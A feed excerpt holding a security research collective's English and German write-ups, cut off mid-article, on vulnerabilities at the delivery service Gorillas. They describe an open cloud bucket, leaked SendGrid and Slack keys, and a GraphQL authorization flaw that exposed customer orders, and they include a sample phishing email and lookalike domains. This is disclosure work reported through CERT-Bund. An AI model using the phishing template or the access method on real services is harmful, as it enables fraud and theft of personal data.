&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/orders-data.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/orders-data.png&#34;
         alt=&#34;Screenshot of the JSON return of the API. Contains the COMPLETE information of an order, including products, amount, payment type, address, contact details, geo-coordinates, order status.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;So it&amp;rsquo;s not just the customers who are affected, but also the workers - another problem in how startup delivery services treat them.
&lt;a href=&#34;https://www.neues-deutschland.de/artikel/1148393.lieferdienst-gorillas-streiken-wild.html&#34;&gt;The working conditions of pickers and riders have already been criticized several times.&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;spear-phishing-with-a-trawl&#34;&gt;Spear phishing with a trawl&lt;/h2&gt;
&lt;p&gt;All this data, together with SendGrid access, forms the basis for an extremely evil attack scenario.
To safeguard against phishing e-mails, people are taught to not only check the accuracy of the sender,  but also whether for instance one is addressed with the correct name.&lt;/p&gt;
&lt;p&gt;But we have both now: We know the data of all customers, including their orders, and can write e-mails in the name of Gorillas.&lt;/p&gt;
&lt;p&gt;Now let&amp;rsquo;s imagine an e-mail to all Gorillas customers that ordered in the last few days with the following content:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hello Alex Example, 🦍❤️&lt;/p&gt;
&lt;p&gt;Yesterday you ordered with us for 23.42€ to the address &amp;ldquo;Examplestreet 123, 00000 Examplecity&amp;rdquo;.
For this, you used your credit card with an expiration date of 13/37.
Unfortunately, the payment was declined by our payment service provider.
Therefore we have to ask you to settle your invoice.&lt;/p&gt;
&lt;p&gt;You can make the payment comfortably under the following link:
i-steal-your-credit-card-data.com/payment/{order-number}&lt;/p&gt;
&lt;p&gt;The products you ordered were: [&amp;hellip;]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Since the domains &lt;code&gt;gorlllas.io&lt;/code&gt; and &lt;code&gt;goriilas.io&lt;/code&gt; are not registered, even familiar-looking domains could be used.
Anyway, people are already used to being redirected to a wide variety of payment providers.&lt;/p&gt;
&lt;p&gt;One thing is for certain: We would fall for it.&lt;/p&gt;
&lt;h2 id=&#34;gorillas-reaction&#34;&gt;Gorilla&amp;rsquo;s reaction&lt;/h2&gt;
&lt;p&gt;While finding the vulnerabilities, we also documented them and reported them collectively to &lt;a href=&#34;https://www.cert-bund.de/&#34;&gt;CERT-Bund&lt;/a&gt;, the german federal Computer Emergency Response Team.
CERT-Bund then reviewed them and forwarded our reports to Gorillas.
Gorillas has, according to its own statement, closed the vulnerabilities described, revoked leaked API keys and also informed the relevant authorities as well as its customers and workers.
We very much welcome that Gorillas informed its customers and workers on its own initiative, even though there is not necessarily a legal obligation.&lt;/p&gt;
&lt;p&gt;We also received the e-mail Gorillas sent to its customers.
Unfortunately, we have to criticize that they do not name exactly which data was retrievable.
Who remembers what data they might have entered, months after ordering normal everyday goods?
And there is not a word about the photos of front doors and doorbell signs either.
We think this is even worse because the customers of Gorillas don&amp;rsquo;t even know that these pictures exist.&lt;/p&gt;
&lt;h2 id=&#34;when-will-the-industry-finally-learn&#34;&gt;When will the industry finally learn‽&lt;/h2&gt;
&lt;p&gt;This is the second time that a supermarket delivery service leaked all customer data because of an unprotected GraphQL interface.
We hoped that the issue at Flink served as a warning for all providers and that they would take another close look into their own systems to see if they have similar problems.
The fact that even with investments of triple-digit millions, IT security does not seem to be seen as important&lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt; surprises us once again.
We expected that investors would take a little more care when selecting their investment targets for such enormous sums.
After all, the competitors are certainly not supposed to know which products are doing particularly well in which parts of the city.&lt;/p&gt;
&lt;p&gt;Here IT security has the same problem as other preventative measures:
The better it is, the less one sees its benefit.
Only when it&amp;rsquo;s too late and we already found our way into the databases, the companies realise what they did wrong.
As long as the system is sufficiently secured, no one notices - because everything is running properly, smoothly and quietly.&lt;/p&gt;
&lt;p&gt;At the same time, IT security is harder to advertise than new features&lt;sup id=&#34;fnref:6&#34;&gt;&lt;a href=&#34;#fn:6&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;6&lt;/a&gt;&lt;/sup&gt; and financial incentives are somewhat lacking.
The GDPR allows for severe penalties for such data breaches.
Now it&amp;rsquo;s on the data protection authorities to issue them so that companies will have one more reason to pay attention to their IT security in the future.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Our delivery times are longer than 10 minutes: As a collective, we need well over a week to create such an article, from finding the issues to writing the reports, to publishing this post.
If you like it, &lt;a href=&#34;https://zerforschung.org/unterstuetzen&#34;&gt;feel free to support us&lt;/a&gt;.
&lt;/div&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;The term unicorn was coined by someone who thinks the value of companies is particularly relevant.
It means that a company is valued at over 1 billion US-Dollars.
Gorillas is currently the company that has achieved this title faster than any other company in Germany.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;A mitmproxy is a program that allows you to capture and decrypt data traffic from your own device.&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;yes, we really read &lt;a href=&#34;https://cdn.sanity.io/files/iuu3qva9/production/5e8a83c83729c8252f69e6dd38c2cb2a796277cd.pdf&#34;&gt;the privacy policy&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:4&#34;&gt;
&lt;p&gt;It&amp;rsquo;s also an interesting thing to do that in a country that has fought tooth and nail against photos of building facades on Google Street View.&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:5&#34;&gt;
&lt;p&gt;Gorillas &lt;a href=&#34;https://apply.workable.com/gorillas/j/32175F8C91/&#34;&gt;has been looking for IT security people for about a month&lt;/a&gt;. So far they don&amp;rsquo;t seem to have anyone. &lt;a href=&#34;https://apply.workable.com/gorillas/j/56285D59FA/&#34;&gt;For occupational safety&lt;/a&gt; as well by the way.&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:6&#34;&gt;
&lt;p&gt;Apple is currently showing that you can actually advertise with data protection&amp;#160;&lt;a href=&#34;#fnref:6&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Gorillas: Einhornaufschnitt, 150g, im Angebot 🦍❤️</title>
      <link>https://zerforschung.org/posts/gorillas/</link>
      <pubDate>Fri, 07 May 2021 05:50:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/gorillas/</guid>
      <description>&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/gorillas-daten.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/gorillas-daten.jpg&#34;
         alt=&#34;Gorillas Werbeplakat mit dem Slogan &amp;#39;Noch einmal Gorillas checken, dann lege ich das Handy wirkl... geil, Zimtschnecken&amp;#39; Zimtschnecken ist durchgestrichen und durch &amp;#39;Daten&amp;#39; ersetzt&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Naja, eigentlich eher &amp;ldquo;Oh fuck, Daten&amp;rdquo;&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;a href=&#34;https://zerforschung.org/posts/gorillas-en/&#34;&gt;This article was also published in english.&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;Supermarkt-Lieferdienste sind in der Pandemie sehr beliebt. Neben den Klassikern sind jetzt Dienste neu im Spiel, die in unter einer Stunde liefern. Einer davon ist Gorillas – hier bekam man nicht nur die bestellten Äpfel und Müsliriegel in 10 Minuten, sondern genauso schnell auch die Daten aller Kund*innen.&lt;/p&gt;
&lt;p&gt;Wie das passieren konnte? Leider mal wieder viel zu einfach. Hier die ganze Geschichte von vorne:&lt;/p&gt;
&lt;p&gt;Gorillas ist zurzeit der größte dieser Dienste in Deutschland und verspricht mit großflächiger Werbung eine Lieferung innerhalb von 10 Minuten. Die Bestellungen werden dann in dezentralen Depots zusammengestellt und auf Fahrrädern ausgeliefert.&lt;/p&gt;
&lt;p&gt;Vor einigen Wochen sind wir schon mal über &lt;a href=&#34;https://zerforschung.org/posts/flink/&#34;&gt;eine Sicherheitslücke bei der Konkurrenz&lt;/a&gt; gestolpert. Nun hat Gorillas in den letzten Wochen ein extremes Wachstum hingelegt und auch &lt;a href=&#34;https://techcrunch.com/2021/03/25/gorillacorn/&#34;&gt;nochmal absurde 290 Millionen US-Dollar Venture Capital eingesammelt&lt;/a&gt;&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; – für uns ein guter Grund, den Dienst mal auszuprobieren.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Inzwischen ist Gorillas in über 15 Städten in 4 Ländern aktiv (DE, NL, UK, FR) und will zeitnah in über 50 Städte expandieren, unter anderem in den USA. Das sind interessante Details und mal wieder finden wir das über die Stellenanzeigen heraus. Generell sind Stellenanzeigen von Firmen immer ein &lt;a href=&#34;https://radforschung.org/log/roller-in-die-staedte/&#34;&gt;interessanter Rechercheansatz&lt;/a&gt;.
&lt;/div&gt;
&lt;p&gt;Es ist schon fast ein Routineschritt: Bei jeder neuen App, die wir installieren, einmal kurz mit einem mitmproxy&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; in den Datenverkehr zu schauen. Dabei fällt uns direkt auf den ersten Blick auf, dass Gorillas hier Daten aus zwei verschiedenen Google Cloud Storage Buckets lädt: &lt;code&gt;eddress&lt;/code&gt; und &lt;code&gt;gorillas-public&lt;/code&gt;. Buckets sind einfach nur ein fancy Name für Ordner in Cloud-Speicher-Diensten – und diese werden hier genutzt, um Produktbilder und Werbebanner an die App auszuliefern.&lt;/p&gt;
&lt;p&gt;Nicht immer will man, dass eine Liste aller Dateien, die in einem Bucket liegen, öffentlich zugänglich ist, beispielsweise wenn Geschäftsdaten im Spiel sind. Deswegen ist bei den meisten Cloud-Services die öffentliche Auflistung der Dateien standardmäßig deaktiviert. So kann man zwar auf die Dateien zugreifen – aber nur, wenn man den exakten Link kennt.&lt;/p&gt;
&lt;p&gt;Nunja, in diesem Fall konnten wir uns eine Liste aller Dateien anzeigen lassen und damit auch die einzelnen Dateien selbst. So hatten wir Zugriff auf viele, viele Fotos von all den Produkten, die Gorillas im Angebot hat. Prinzipiell ist es erst einmal nicht schlimm, wenn wir nun die Links zu allen Produktbildern kennen. Leider blieb es nicht dabei und natürlich kommt jetzt ein großes Aber&amp;hellip;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/bucket.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/bucket.png&#34;
         alt=&#34;Screenshot der XML-Antwort, welche alle im Bucket enthaltene Dateien auflistet&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Im Cloud-Bucket von Gorillas haben wir auch Fotos von Dingen gefunden, mit denen wir so nicht gerechnet hatten: Haustüren und Klingelschilder. Sind das etwa auch Produktfotos? Hat der Lieferdienst hier eine weitere Marktlücke entdeckt und ist ins Baumarktbusiness eingestiegen? Wohl eher nicht: Diese Dateien waren definitiv nicht für die Öffentlichkeit bestimmt. Streng genommen eigentlich nicht einmal für Gorillas.&lt;/p&gt;
&lt;p&gt;Die abfotografierten Haustüren und Klingelschilder kommen von Fahrer*innen, die anscheinend vereinzelt Fotos machen sollen, nachdem sie eine Bestellung ausgeliefert haben.
Davon steht nicht nur nichts in der Datenschutzerklärung&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;, sondern es ist auch einfach nur creepy&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Als wir im Bucket &lt;code&gt;eddress&lt;/code&gt; nun auch noch Sprachmemos, Rechnungen und Datenbank-Backups finden, wird klar, dass dies nicht gewollt sein kann.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/lindenstrasse.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/lindenstrasse.png&#34;
         alt=&#34;Klingelschild am TV-Set der Lindenstraße&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Symbolbild (Bild: &lt;a href=&#34;https://commons.wikimedia.org/wiki/File:Klingelschild_Lindenstra%C3%9Fe.jpg&#34;&gt;Jedesto&lt;/a&gt;, &lt;a href=&#34;https://creativecommons.org/licenses/by-sa/4.0&#34;&gt;CC BY-SA 4.0&lt;/a&gt;, via Wikimedia Commons)&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h3 id=&#34;was-ist-eddress-jetzt-schon-wieder&#34;&gt;Was ist eddress jetzt schon wieder?&lt;/h3&gt;
&lt;p&gt;Der Name »eddress« taucht nicht nur in dem Bucket-Namen auf, sondern auch im App-Identifier, scheint also relevant zu sein.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/app-identifier.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/app-identifier.png&#34;
         alt=&#34;Screenshot der URL-Leiste des Links der Gorillas App, welche com.eddress.getgoodys als App-Identifier enthält&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Nach kurzer Recherche stellt sich heraus: &lt;a href=&#34;https://www.eddress.co&#34;&gt;Eddress ist ein Unternehmen&lt;/a&gt; mit Sitz in Pakistan und im Libanon, das White-Label-Kurier-Software anbietet – also gezielt neutral gehaltene Software, welche die einzelnen Lieferdienste dann passend zum eigenen Unternehmen gestalten können.
Eddress selbst betreibt auch einen Lieferdienst, ganz ähnlich wie Gorillas, namens &lt;a href=&#34;https://noknok.co&#34;&gt;noknok&lt;/a&gt; im Libanon.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/gorillas-noknok.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/gorillas-noknok.png&#34;
         alt=&#34;Screenshots der Apps von Gorillas und noknok nebeneinander, die sich fast nur in ihrer Farbe unterscheiden&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Zwischen diesen Bildern gibt es 20 Unterschiede. Findest du alle?&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Die Apps von noknok und Gorillas sehen sich zum Verwechseln ähnlich. Das legt den Schluss nahe, dass Gorillas seine Software einfach komplett bei Eddress eingekauft hat.
Auch stellt sich raus, dass der CEO von Eddress mittlerweile CTO von Gorillas geworden ist. Die beiden Unternehmen sind also tatsächlich eng miteinander verwoben.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/gorillas-eddress.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/gorillas-eddress.png&#34;
         alt=&#34;Die Logos von Eddress und Gorillas, dazwischen das Händeschüttel-Emoji&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;h2 id=&#34;noch-200g-von-den-api-keys-dazu&#34;&gt;Noch 200g von den API-Keys dazu?&lt;/h2&gt;
&lt;p&gt;Nachdem wir wussten, dass das Gorillas-System von Eddress gebaut wurde, wollten wir mehr zu dieser Kooperation erfahren.
Die Suchmaschine unserer Wahl fand zwar keine Artikel zu dem Thema, brachte uns aber auf ein Admin-Portal von Gorillas/Eddress: &lt;a href=&#34;https://portal.gorillas.io&#34;&gt;portal.gorillas.io&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Hier werden wir von einem Login-Screen begrüßt, zu dem wir keine Zugangsdaten haben. Ein kurzer Blick in die Browsertools zeigt aber: Das JavaScript für das Portal wird auch schon vor dem Login geladen und wir können deswegen einen Blick in den Quellcode werfen.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;&lt;strong&gt;Warum ist das so?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Das Admin-Portal von Gorillas ist eine sogenannte &lt;a href=&#34;https://de.wikipedia.org/wiki/Single-Page-Webanwendung&#34;&gt;Single-Page-Application&lt;/a&gt;. Das bedeutet, die Seite besteht nur aus einer HTML-Datei und alle Inhalte werden dynamisch nachgeladen. Dabei wird auch von Anfang an der gesamte JavaScript-Code der Anwendung ausgeliefert.&lt;/p&gt;
&lt;p&gt;Das ist per se erstmal kein Sicherheitsproblem, erlaubt aber spannende Einblicke in die Infrastuktur und Features einer Web-App, zu denen man mangels Login oder Rechten bislang keinen Zugriff hatte.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Dabei fielen uns diese Zeilen auf:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/sourcecode.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/sourcecode.png&#34;
         alt=&#34;Screenshot eines Stücks JavaScript-Codes. In diesem ist eine Zeile mit einer URL markiert in der &amp;#39;graphql&amp;#39; steht.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Nachdem wir beim Lieferdienst &lt;a href=&#34;https://zerforschung.org/posts/flink/&#34;&gt;Flink&lt;/a&gt; bereits Erfahrungen mit GraphQL-Schnittstellen gesammelt haben, packen wir auch dieses Mal die auffällige URL in den GraphQL-Client unserer Wahl.&lt;/p&gt;
&lt;p&gt;GraphQL ist eine Sprache, um Datenabfragen zu formulieren. Man beschreibt also, welche Informationen man gerne vom Server hätte und in welcher Form.
So konnten wir zum Beispiel dem Server bei Flink sagen: »Gib uns die letzten 10 Bestellungen, wer sie getätigt hat und was bestellt wurde.«
Der Server auf der anderen Seite sollte dabei eigentlich so eingestellt sein, dass er nicht alle Anfragen gleichermaßen behandelt, sondern bestimmte Informationen nur berechtigten Anfragesteller*innen herausgibt. Bei Flink war das falsch konfiguriert – und bei Gorillas?&lt;/p&gt;
&lt;p&gt;Um das herauszufinden, haben wir uns die GraphQL-Möglichkeiten näher angeschaut. So bringt GraphQL beispielsweise eine Funktion mit, um herauszufinden, welche Informationen man wie abrufen kann: &lt;a href=&#34;https://graphql.org/learn/introspection/&#34;&gt;Introspection&lt;/a&gt;.
Die meisten GraphQL-Clients erstellen daraus automatisch eine Dokumentation der API, so auch unserer:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/graphql-doku.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/graphql-doku.png&#34;
         alt=&#34;Screenshot einer automatisch generierten Doku für die Endpunkte &amp;#39;activeOrders&amp;#39;, &amp;#39;ordersData&amp;#39; und &amp;#39;tenantConfig&amp;#39;.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Die beiden Abfragen für die Bestellungen benötigen Zugangsdaten, deswegen bekommen wir nur die folgende Fehlermeldung:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/access-denied.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/access-denied.png&#34;
         alt=&#34;Screenshot einer GraphQL Fehlermeldung, dass wir nicht berechtigt sind &amp;#39;activeOrders&amp;#39; aufzurufen.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Die &lt;code&gt;tenantConfig&lt;/code&gt; allerdings lässt sich ohne jegliche Zugangsbeschränkung abrufen. Und die dort ausgelieferten Informationen sind durchaus brisant: API-Keys und URLs für verschiedene Services, die scheinbar von der Gorillas-Infrastruktur genutzt werden. Darunter API-Keys für Sendgrid und Slack-Webhook-URLs.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/tenant-config.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/tenant-config.png&#34;
         alt=&#34;GraphQL API Response, die Daten zeigen Objekte wie &amp;#39;emailConfig&amp;#39; mit apiKey, Absender-Emailadresse und &amp;#39;slackConfig&amp;#39;.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Mit den Slack-URLs könnten wir Nachrichten in bestimmte Slack-Kanäle von Gorillas posten: »&lt;em&gt;Heute Hitzefrei!&lt;/em&gt;«&lt;/p&gt;
&lt;p&gt;Viel relevanter sind jedoch die Sendgrid-API-Keys.
&lt;a href=&#34;https://sendgrid.com&#34;&gt;Sendgrid&lt;/a&gt; ist ein sogenannter transaktioneller E-Mail-Provider. In den letzten Jahren ist es schwieriger geworden, als neuer Anbieter E-Mails selber so zu versenden, dass sie in der Inbox landen und nicht sofort im Spamfilter hängen bleiben.
Statt sich also selbst um den Mailversand zu kümmern, bezahlen immer mehr Anbieter Unternehmen wie Sendgrid, &lt;a href=&#34;https://www.mailjet.com/&#34;&gt;Mailjet&lt;/a&gt; oder &lt;a href=&#34;https://aws.amazon.com/ses/&#34;&gt;Amazon SES&lt;/a&gt;, damit diese die E-Mails für sie versenden.&lt;/p&gt;
&lt;p&gt;Mit dem Sendgrid-API-Key könnten wir also E-Mails im Namen von Gorillas versenden: »&lt;em&gt;Hey Investors, Geld is wieder alle&lt;/em&gt;«&lt;/p&gt;
&lt;p&gt;Dieses Problem betrifft nicht nur Gorillas, sondern auch andere Dienste, welche die Software von Eddress benutzen. Darunter unter anderem:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.oyanow.ng&#34;&gt;oyanow&lt;/a&gt;, Nigeria&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://noknok.co&#34;&gt;noknok&lt;/a&gt;, Libanon&lt;/li&gt;
&lt;li&gt;Liban Post (die staatliche Post im Libanon)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Dadurch könnten Angreifer*innen z.B. authentisch aussehende E-Mails im Namen von Gorillas oder anderen Eddress-Kund*innen versenden.&lt;/p&gt;
&lt;p&gt;Bei Sendgrid lässt sich sehr feinkörnig einstellen, welcher API-Key welche Rechte hat. Die betroffenen API-Keys haben jedoch extrem viele Berechtigungen: Der API-Key von Gorillas für 100 Funktionen, der von Liban Post sogar für mehr als 200 Funktionen. Neben dem Verschicken von E-Mail befindet sich darunter auch die Berechtigung zum Anlegen neuer API-Keys. Eine Angreifer*in könnte sich so relativ unbemerkt einen neuen API-Key erstellen – und diesen auch dann weiter nutzen, wenn der geleakte API-Key deaktiviert wird.&lt;/p&gt;
&lt;h2 id=&#34;dürfen-es-noch-ein-paar-mehr-daten-sein&#34;&gt;Dürfen es noch ein paar mehr Daten sein?&lt;/h2&gt;
&lt;p&gt;Wir waren gerade fertig damit, den Report für die bisher beschriebenen Lücken zu schreiben, da kam uns eine Idee:
Um auf die Abfragen nach den Bestellungen zugreifen zu können, benötigt man eine Zugangskennung (JSON Web Token).
Wenn man sich in der App einloggt, bekommt man eine Kennung dieser Art.
In der Erwartung, dass wir damit maximal unsere eigenen Daten abfragen können, haben wir also unsere Zugangskennung aus dem App-Datenverkehr genommen und in unseren GraphQL-Client eingegeben.
Und tätsächlich bekamen wir Daten. Nicht nur unsere, sondern alle.&lt;/p&gt;
&lt;p&gt;Insgesamt konnten wir die Daten von über 1.000.000 Bestellungen, den dazuhörigen 200.000 Kund*innen sowie Fahrer*innen abrufen.&lt;/p&gt;
&lt;p&gt;Dazu gehören:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Name, Adresse, E-Mail-Adresse und Telefon-Nummer der Kund*innen&lt;/li&gt;
&lt;li&gt;Bestelldetails (bestelle Produkte, Anzahl, Preis, etc.)&lt;/li&gt;
&lt;li&gt;Bei Kreditkartenzahlung: Ablaufdatum der Kreditkarte&lt;/li&gt;
&lt;li&gt;Referenzen auf Fotos der Haustür/des Klingelschildes, falls vorhanden&lt;/li&gt;
&lt;li&gt;Name und Telefonnummer des &amp;ldquo;activeWorker&amp;rdquo;, vermutlich von Fahrer*innen oder Picker*innen&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/gorillas/orders-data.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/gorillas/orders-data.png&#34;
         alt=&#34;Screenshot des JSON-Returns der API. Enthält die kompletten Informationen einer Bestellung, inklusive Produkte, Betrag, Zahlungsart, Adresse, Kontaktdaten, Geokoordinaten, Bestellstatus&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Betroffen sind also nicht nur die Kund*innen, sondern auch die Fahrer*innen – ein weiteres Problem im Umgang von Startup-Lieferdiensten mit ihren Arbeiter*innen. &lt;a href=&#34;https://www.neues-deutschland.de/artikel/1148393.lieferdienst-gorillas-streiken-wild.html&#34;&gt;Die Arbeitsbedingungen der Picker*innen und Rider*innen standen schon mehrfach in der Kritik.&lt;/a&gt; Für die Kund*innen hat dieses Datenleck aber noch ganz andere Auswirkungen.&lt;/p&gt;
&lt;h2 id=&#34;spear-phishing-mit-dem-schleppnetz&#34;&gt;Spear-Phishing mit dem Schleppnetz&lt;/h2&gt;
&lt;p&gt;Diese ganzen Daten bilden zusammen mit dem Sendgrid-Zugriff die Grundlage für ein extrem perfides Angriffsszenario. Bei E-Mails soll man nicht nur darauf achten, ob der Absender plausibel aussieht, sondern auch, ob man beispielsweise mit richtigem Namen angesprochen wird, um sicher zu gehen, dass es sich dabei nicht um Phishing-E-Mails handelt.&lt;/p&gt;
&lt;p&gt;Wir haben aber beides in der Hand: Wir kennen die Daten aller Kund*innen samt ihrer Bestellungen und können E-Mails im Namen von Gorillas schreiben.&lt;/p&gt;
&lt;p&gt;Jetzt stellen wir uns eine E-Mail an alle Gorillas-Kund*innen mit sinngemäß diesem Inhalt vor:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hallo Alex Mustermensch, 🦍❤️&lt;/p&gt;
&lt;p&gt;Du hast am 01.01.1970 bei uns für 23.42€ an die Adresse &amp;ldquo;Musterstraße 123, 00000 Musterstadt&amp;rdquo; bestellt.
Dafür hast du deine Kreditkarte mit dem Ablaufdatum 13/37 benutzt.
Leider wurde die Zahlung von unserem Zahlungsdienstleister storniert.
Deswegen müssen wir dich bitten, deine Rechnung zu begleichen.&lt;/p&gt;
&lt;p&gt;Die Zahlung kannst du bequem unter folgendem Link tätigen:
ich-stehle-deine-kreditkartendaten‎.de/payment/{Bestellnummer}&lt;/p&gt;
&lt;p&gt;Hier findest du noch einmal eine Auflistung aller von dir bestellten Produkte:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Da die Domains &lt;code&gt;gorlllas.io&lt;/code&gt; und &lt;code&gt;goriilas.io&lt;/code&gt; noch frei sind, würden sich hier sogar vertraut aussehende Domains für die Zahlung nutzen lassen. Allerdings sind es Menschen mittlerweile sowieso gewöhnt, auf verschiedenste Zahlungsanbieter umgeleitet zu werden.&lt;/p&gt;
&lt;p&gt;Fest steht: Wir würden drauf reinfallen.&lt;/p&gt;
&lt;h2 id=&#34;gorillas-reaktion&#34;&gt;Gorillas&amp;rsquo; Reaktion&lt;/h2&gt;
&lt;p&gt;Während wir die Lücken fanden, haben wir diese auch dokumentiert und danach gesammelt an das CERT-Bund gemeldet.
Das CERT-Bund hat sie dann überprüft und an Gorillas übermittelt.
Gorillas hat die beschriebenen Lücken, nach eigener Aussage, inzwischen geschlossen, die SendGrid-API-Keys widerrufen und auch die Kund*innen und Fahrer*innen informiert.
Wir begrüßen sehr, dass Gorillas dort von sich aus tätig wird, obwohl nicht unbedingt eine Rechtspflicht besteht.&lt;/p&gt;
